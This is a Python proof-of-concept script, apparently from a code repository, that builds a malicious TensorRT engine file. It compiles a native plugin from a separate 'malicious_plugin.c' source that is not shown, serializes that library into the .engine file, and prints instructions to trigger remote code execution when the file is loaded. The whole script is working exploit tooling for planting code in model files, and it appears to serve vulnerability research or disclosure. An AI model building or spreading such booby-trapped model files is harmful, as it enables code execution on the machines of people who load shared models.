File size: 9,041 Bytes
9f36fb4 | 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 | #!/usr/bin/env python3
"""
PoC Builder: Creates a malicious TensorRT engine file with embedded native code.
This script:
1. Compiles a malicious DLL/SO with code that executes on load
2. Builds a TensorRT engine embedding the malicious library
3. The resulting .engine file triggers arbitrary code execution when deserialized
Usage: python build_poc.py
"""
import os
import sys
import subprocess
import tempfile
import struct
import platform
SCRIPT_DIR = os.path.dirname(os.path.abspath(__file__))
PROJECT_DIR = os.path.dirname(SCRIPT_DIR)
EVIDENCE_DIR = os.path.join(PROJECT_DIR, "evidence")
os.makedirs(EVIDENCE_DIR, exist_ok=True)
def find_msvc():
"""Find MSVC cl.exe on Windows."""
import glob
patterns = [
r"C:\Program Files\Microsoft Visual Studio\*\*\VC\Tools\MSVC\*\bin\Hostx64\x64\cl.exe",
r"C:\Program Files (x86)\Microsoft Visual Studio\*\*\VC\Tools\MSVC\*\bin\Hostx64\x64\cl.exe",
]
for pattern in patterns:
matches = glob.glob(pattern)
if matches:
return sorted(matches)[-1] # Latest version
return None
def find_msvc_env():
"""Find vcvarsall.bat to set up MSVC environment."""
import glob
patterns = [
r"C:\Program Files\Microsoft Visual Studio\*\*\VC\Auxiliary\Build\vcvarsall.bat",
r"C:\Program Files (x86)\Microsoft Visual Studio\*\*\VC\Auxiliary\Build\vcvarsall.bat",
]
for pattern in patterns:
matches = glob.glob(pattern)
if matches:
return sorted(matches)[-1]
return None
def compile_dll_windows(source_path: str, output_path: str) -> bool:
"""Compile the malicious plugin as a Windows DLL using MSVC."""
vcvarsall = find_msvc_env()
if not vcvarsall:
print("[!] Could not find vcvarsall.bat")
return False
# Use cmd.exe to run vcvarsall then compile
output_dir = os.path.dirname(output_path)
basename = os.path.splitext(os.path.basename(output_path))[0]
cmd = f'"{vcvarsall}" x64 && cl.exe /LD /Fe:"{output_path}" "{source_path}" /link /DLL'
print(f"[*] Compiling DLL: {cmd}")
result = subprocess.run(
["cmd.exe", "/c", cmd],
capture_output=True, text=True,
cwd=output_dir
)
if result.returncode != 0:
print(f"[!] Compilation failed:\n{result.stderr}\n{result.stdout}")
return False
if os.path.exists(output_path):
print(f"[+] DLL compiled: {output_path} ({os.path.getsize(output_path)} bytes)")
return True
print("[!] DLL file not found after compilation")
return False
def compile_so_linux(source_path: str, output_path: str) -> bool:
"""Compile the malicious plugin as a Linux .so using gcc."""
cmd = ["gcc", "-shared", "-fPIC", "-o", output_path, source_path, "-Wl,--no-as-needed"]
print(f"[*] Compiling: {' '.join(cmd)}")
result = subprocess.run(cmd, capture_output=True, text=True)
if result.returncode != 0:
print(f"[!] Compilation failed: {result.stderr}")
return False
print(f"[+] SO compiled: {output_path} ({os.path.getsize(output_path)} bytes)")
return True
def build_engine(plugin_path: str, engine_path: str) -> bool:
"""Build a TensorRT engine with the malicious plugin embedded."""
try:
import tensorrt as trt
except ImportError:
print("[!] TensorRT not installed: pip install tensorrt")
return False
print(f"[*] TensorRT version: {trt.__version__}")
TRT_LOGGER = trt.Logger(trt.Logger.WARNING)
# Create builder and network
builder = trt.Builder(TRT_LOGGER)
network = builder.create_network(
1 << int(trt.NetworkDefinitionCreationFlag.EXPLICIT_BATCH)
)
config = builder.create_builder_config()
# Minimal identity network
inp = network.add_input("input", trt.DataType.FLOAT, (1, 3, 224, 224))
identity = network.add_identity(inp)
identity.get_output(0).name = "output"
network.mark_output(identity.get_output(0))
# CRITICAL: Embed the malicious plugin into the engine file
# This serializes the entire binary content of the DLL/SO into the .engine file.
# When loaded with engine_host_code_allowed=True, TensorRT extracts and LoadLibrary/dlopen's it.
plugin_path_abs = os.path.abspath(plugin_path)
print(f"[*] Embedding plugin: {plugin_path_abs}")
print(f"[*] Plugin size: {os.path.getsize(plugin_path_abs)} bytes")
config.plugins_to_serialize = [plugin_path_abs]
print("[*] Building serialized network...")
serialized = builder.build_serialized_network(network, config)
if serialized is None:
print("[!] Engine build failed (build_serialized_network returned None)")
print("[!] This may indicate the plugin library format is incompatible")
return False
engine_bytes = bytes(serialized)
with open(engine_path, "wb") as f:
f.write(engine_bytes)
print(f"[+] Engine saved: {engine_path}")
print(f"[+] Engine size: {len(engine_bytes)} bytes")
# Verify the plugin binary is embedded in the engine
with open(plugin_path_abs, "rb") as f:
plugin_bytes = f.read()
if plugin_bytes[:64] in engine_bytes:
print(f"[+] CONFIRMED: Plugin binary content found embedded in engine file")
else:
print("[*] Note: Plugin may be stored in a transformed format within the engine")
return True
def try_version_compatible_engine(engine_path: str) -> bool:
"""
Alternative: Build a version-compatible engine that embeds the lean runtime.
This demonstrates that even WITHOUT custom plugins, the engine format
can carry executable code (the lean runtime itself).
"""
try:
import tensorrt as trt
except ImportError:
return False
TRT_LOGGER = trt.Logger(trt.Logger.WARNING)
builder = trt.Builder(TRT_LOGGER)
network = builder.create_network(
1 << int(trt.NetworkDefinitionCreationFlag.EXPLICIT_BATCH)
)
config = builder.create_builder_config()
inp = network.add_input("input", trt.DataType.FLOAT, (1, 3, 224, 224))
identity = network.add_identity(inp)
identity.get_output(0).name = "output"
network.mark_output(identity.get_output(0))
# Enable version-compatible mode — this embeds libnvinfer_lean into the engine
try:
config.set_flag(trt.BuilderFlag.VERSION_COMPATIBLE)
print("[*] Building version-compatible engine (embeds lean runtime)...")
serialized = builder.build_serialized_network(network, config)
if serialized:
engine_bytes = bytes(serialized)
vc_path = engine_path.replace(".engine", "_version_compatible.engine")
with open(vc_path, "wb") as f:
f.write(engine_bytes)
print(f"[+] Version-compatible engine: {vc_path} ({len(engine_bytes)} bytes)")
print(f"[+] This engine embeds the lean runtime (~40MB of native code)")
return True
except Exception as e:
print(f"[*] Version-compatible build not supported: {e}")
return False
def main():
print("=" * 70)
print("TensorRT Engine File RCE PoC Builder")
print("=" * 70)
print()
source_path = os.path.join(SCRIPT_DIR, "malicious_plugin.c")
if not os.path.exists(source_path):
print(f"[!] Plugin source not found: {source_path}")
sys.exit(1)
is_windows = platform.system() == "Windows"
# Step 1: Compile the malicious plugin
print("[*] Phase 1: Compiling malicious plugin...")
if is_windows:
plugin_path = os.path.join(EVIDENCE_DIR, "malicious_plugin.dll")
success = compile_dll_windows(source_path, plugin_path)
else:
plugin_path = os.path.join(EVIDENCE_DIR, "libmalicious_plugin.so")
success = compile_so_linux(source_path, plugin_path)
if not success:
print("[!] Plugin compilation failed")
sys.exit(1)
# Step 2: Build engine with embedded plugin
print()
print("[*] Phase 2: Building TensorRT engine with embedded malicious code...")
engine_path = os.path.join(EVIDENCE_DIR, "malicious_model.engine")
success = build_engine(plugin_path, engine_path)
if not success:
print()
print("[!] Engine build with embedded plugin failed.")
print("[*] Trying alternative: version-compatible engine...")
print()
try_version_compatible_engine(engine_path)
# Step 3: Also try version-compatible engine as additional evidence
print()
print("[*] Phase 3: Attempting version-compatible engine build (additional evidence)...")
try_version_compatible_engine(engine_path)
print()
print("=" * 70)
print("[*] PoC Build Complete")
print(f"[*] Evidence directory: {EVIDENCE_DIR}")
print(f"[*] Plugin: {plugin_path}")
if os.path.exists(engine_path):
print(f"[*] Engine: {engine_path}")
print()
print("[*] To trigger RCE, run:")
print(f" python load_poc.py \"{engine_path}\"")
print("=" * 70)
if __name__ == "__main__":
main()
|